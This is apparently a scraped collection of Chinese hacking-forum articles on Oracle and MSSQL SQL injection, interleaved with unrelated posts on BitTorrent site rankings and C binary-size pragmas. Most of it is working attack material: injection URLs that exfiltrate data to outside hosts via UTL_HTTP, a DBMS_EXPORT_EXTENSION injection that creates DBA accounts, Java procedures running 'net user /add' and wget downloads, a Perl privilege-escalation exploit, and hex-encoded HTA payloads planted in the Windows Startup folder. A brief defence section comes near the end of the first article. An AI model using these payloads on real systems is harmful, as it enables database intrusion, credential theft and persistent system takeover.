list.jsp?username=loveshell' and 1=2 union select 1,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 正常
list.jsp?username=loveshell' and 1=2 union select 1,2,NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是数字类型
list.jsp?username=loveshell' and 1=2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是字符类型
这种情况是可能的,因为字段里还包括其他的如日期等类型,这种类型对于我们反馈信息没什么用,所以用NULL直接跳过。
list.jsp?username=loveshell' and 1=2 union select 1,NULL,'3',NULL,NULL,NULL,NULL from dual-- 这个时候正常了,而且在页面的对应的位置显示了,这个字段正是我们要找的。有的时候如果想看某个数字是多少怎么办呢?譬如想看记录的条数,直接二分法是可以的,但是直接显示出来还是比较直观,譬如想看dba_tables的记录数
list.jsp?username=loveshell' and 1=2 union select 1,to_char((select count(*) from dba_tables),'0000000'),NULL,NULL,NULL,NULL,NULL from dual--
当然还有其他to_系列函数,间接实现其他数据库里的自动转换。这个字段在页面显示并且也足够长,放得下我们的数据,所以我们就可以充分利用这个字段来进行查询了,譬如获得系统的版本信息可以用
list.jsp?username=loveshell' and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual--
如果不能使用union,也没有关系,只要是oracle数据库,我们一样可以把信息给返回来,不用经典查询那么悲观,首先本地用nc -l -vv -p 9999,然后就可以很简单地用
list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select banner from sys.v_$version where rownum=1))=1--
这个时候loveshell.net的9999端口就应该返回sys.v_$version的banner了,就是数据库的版本,我们还获得了数据库所在网络的ip,呵呵,另外还知道数据库是否允许外连等信息。这里使用子查询来获得数据,Oracle没有limit这样的语句所以可以用where rownum=1来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2是不行的,这里可以再次嵌套一个子查询
list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select data from (select rownum as limit,banner as data from sys.v_$version) where limit =2)=1--
这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据。
其他的如后台的帐户什么的都可以这样返回来。这种数据的窃取手段适用于update和insert等等一切可以使用函数的地方:),如果不确信存不存在UTL_HTTP包,可以用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断了,注意,在系统表里的数据是大小写敏感的,但是关键字本身是大小写不敏感的。另外某些少数主机也是没有配置dns或者不能上网,没有配置dns的话可以通过用ip访问的方法来测试,不能上网的就要用其他方法了。
能获取数据了,我们继续向web的后台靠拢,如果我们知道了后台的地址但是没有密码,我们就可以通过查询系统表来找找敏感字段如passwd在哪,然后用上面的信息窃取手段给弄回来。all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用all_tab_columns:
list.jsp?username=loveshell' and 1=2 union select 1,NULL,(select table_name||chr(35)||column_name from all_tab_columns where column_name like '%25PASS%25' and ROWNUM=1),NULL,NULL,NULL,NULL from dual--
其中的%25为%的转码,这样就能获得我们需要的敏感数据了,另外注意在oracle的系统表里数据都是大写的,所以用PASS而不是pass,或者用函数转成小写也可以,如lower(column_name) like '%25pass%25',进入web后台后可以继续通过后台的功能进行渗透了。
刚才说的另外一种思路是直接获得系统的shell,在windows环境下,oracle是以服务的形式启动的,这样通过web注射就可以直接获得system权限,是非常诱人的。我们来看看如何操作吧!首先当然要用到我们上面说到的系统中比较少见的pl/sql注射,另外为了说明在php环境下对注射的处理,我们现在来假设我们的入侵环境是在php+Oracle上面,并且防火墙已经限制了对oracle端口的直接访问,如果是开放的话用网络上的直接添加系统帐户的方法也很容易成功!
首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--','SYS',0,'1',0)=''
这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是
DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--
可以看到DBMS_OUTPUT".PUT(:P1);与END;--之间的所有部分都是原有漏洞注射语句的地方,里面是''是因为我们要提交进',但是外层将字符串括起来的正是',所以需要对'进行转义,用的就是'',后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是:
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0)
我们要执行多语句,并且不希望见到会被php处理的'的话就要对这个进行简单地再变形,多语句里如果出现'的话需要用''转义。
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)
没有出现',并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
呵呵,前面第一个loveshell'不被影响是因为会被转成loveshell\',而这个被oracle看作是loveshell\这个字符串后面跟一个',完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一个非法的sql语句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧!
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。
好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的'变成'',为什么要这样前面讲过了。
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};'';END;';
这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';
这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试
将shellcode.txt内容换成
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';
或者在linux下就是
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net -O /tmp/loveshell'''');end;'';END;';
呵呵,有可能成功,但是也有可能出现类似于下面的情况
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission
<<ALL FILES>> execute) has not been granted to LOVESHELL. The PL/SQL to grant
this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' )
ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
ORA-06512: at line 1
没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<<ALL FILES>>'''',''''execute'''');end;'';END;';
各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
根据自己的情况将这个语句类似的语句放到shellcode.txt里执行,然后就可以顺利地执行命令了。java本身是很强大的,直接返回shell也是可能的。当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if;end;'';END;';
这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';
这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';
注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。
五 环境限制
上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。
六 关于防护
首先就是尽量有好的编程习惯,避免使用字符串连接的方式来执行Sql语句,如果一定要采用字符串连接方式来执行Sql,那也对进入的参数必须做好过滤,是数字类型的话就强制为数字,是字符串类型的就要做好过滤,从数据库等其他途径过来的数据也必须做好验证,在web app上杜绝Sql注射漏洞。另外在Oralce方面就是要做好对1521端口的防火墙过滤,避免被人直接登陆,对一些不需要的包和存储过程可以考虑删除,对一些Sql注射漏洞也要及时做好补丁,避免数据库的沦陷。
参考资料及网站
1 http://www.milw0rm.com/
2 《The_Oracle_Hacker's_Handbook_Hacking_and_Defending_Oracle》
3 http://blog.csdn.net/kj021320/archive/2007/08/28/1762769.aspx
4 http://www.red-database-security.com/
对著名快递公司的一次艰难的oracle注入









世界前十大BT资源站点全表
torrentfreak公布了2007年度全球BT资源库的排行榜.
今年的排行榜比起往年有了巨大变化,Mininova以世界排名46位高居榜首.
而很不幸的是,他们之中的绝大多数正在面临RIAA和MPAA以及各个版权组织的围追堵截.以下是列表.
1. Mininova
世界上最受欢迎的BT站点.
Alexa rank: 46
仅次于Mininova,在美国本土无法访问.
Alexa rank: 143
号称要建立盗版国的瑞典海盗湾
Alexa rank: 147
它不直接提供.torrent文件,而是提供评论系统,私人书签等功能.
Alexa rank: 160
今年增长最快的BT站点,但是也经常被ISP扫地出门.
Alexa rank: 445
06年的BT站点冠军,由于MPAA的原因在美国本土也无法访问.
Alexa rank: 461
今年最沉默奖
Alexa rank: 481
一个西班牙语的Torrent站点能挤入排行榜实为不易.
Alexa rank: 583
拥有4年悠久历史的BT站点.
Alexa rank: 604
最年轻的BT站点
Alexa rank: 673
默哀奖:Demonoid
用vbs实现zip
优化c程序体积
忘记是谁给的这个txt文档了,优化后体积确实变小不少。
随手测试了一个cpp,编译后28k,优化后体积变成1.5k,真不错。
先用release 来build 程序
再加上我这 头文件
#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#ifdef _MERGE_RDATA_
#pragma comment(linker,"/merge:.rdata=.data")
#endif
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#if _MSC_VER >= 1000
#endif
#endif
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(lib,"msvcrt.lib")
#if (_MSC_VER < 1300)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")
#endif
#define WIN32_LEAN_AND_MEAN
保存为 youhua.h 直接 #include "youhua.h"
ART OF WEB-SQL-INJECTION ORACLE篇
文章作者:kj021320
注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。
author : kj021320
team: I.S.T.O
很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助
例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了!
但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看
ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持
OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!
SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了!
大家要是用PLSQL那些工具可以用; 来执行多个语句 !
那是因为工具上面帮你做了多个语句分别提交
ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少!
在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION
我拿一个MSSQL的函数作为例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了!
同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数
系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的
但是调用这些系统函数就可以获取相应的信息~
很容易理解ORACLE权限管理的机制
用户--->调用函数(继承函数创建者的权限)--->执行操作
那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等...
milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~
那就由我代劳翻印讲解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
-------
以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是
GRANT DBA TO $user 把DBA权限授予某个用户!
然后到有存在注入的存储过程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数 );
因为
ACTIVATE_SUBSCRIPTION方法存在注射
所以会直接执行 own函数 去添加一个权限
这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多
具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章
以上原理介绍完了 开始实战!
记得 很多文章说要是SQL语句这样子写
sqlstr="begin select * from kj021320 where name=$name;end;";
可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档
在web 存在一个注射点
http://127.0.0.1:8080/VOA/test.jsp?id=282 数字型的
那么我们首先来确认这个用户的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在这里一个小细节
讲讲ORACLE的系统表部分
DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES
而一般用户都能查询
user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表!
一般注射软件只需要查询这两个表就可以获取用户的表结构了
回到上面的注射一般都会返回false的!
没关系其实有函数注射 权限对我们来说不重要~
那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器
那么我们采用
UTL_HTTP 这个包里面的 request函数
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看
ART OF WEB-SQL-INJECTION第1卷
那么我们怎么构造这个注射呢?很简单!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
这样子!
然而我们得构造一个页面接收请求的参数!ASP简单实现
<%
if request("data")="" then
response.Write Application("oracle_data")
else
dim dataValue
dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
if request("clear")<>"" then
Application("oracle_data")=dataValue
else
Application("oracle_data")=Application("oracle_data") & dataValue
end if
end if
%>
除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!
接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测!
节下来我就直接一点了!
拿出 06年国外公布的一个ODAY
GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息
就是这样而已,看当时的说明
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/
具体注射点在第3个参数
我现在不采用函数形式
直接在里面插入SQL语句
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
这样就可以建立一个用户了!
我们构造SQL
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
这样提交就会建立一个KJ021320用户 而密码也是KJ021320
可以了建立了用户也不行~~先给这个用户添加连接的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell
方法多的是!别说备份了!PRO*C SQLJ都可以!接下来留给你们吧!
也谈 MSSQL备份取系统权限
原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。
BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU
把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。
贴下备份代码:
1.Log备份:
alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--
2.差异备份:
backup database 库名 to disk='c:\ddd.bak'--
create table dtest (cmd image)--
insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT--
drop table dtest--
==================================================
上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......)
以下转自:http://blog.wang1.cn/?action=show&id=664
韩文参照:
alter database moweb002 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\시작 메뉴\프로그램\시작프로그램\1.bat'--
drop table cmd--
中文对照:
alter database moweb00 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
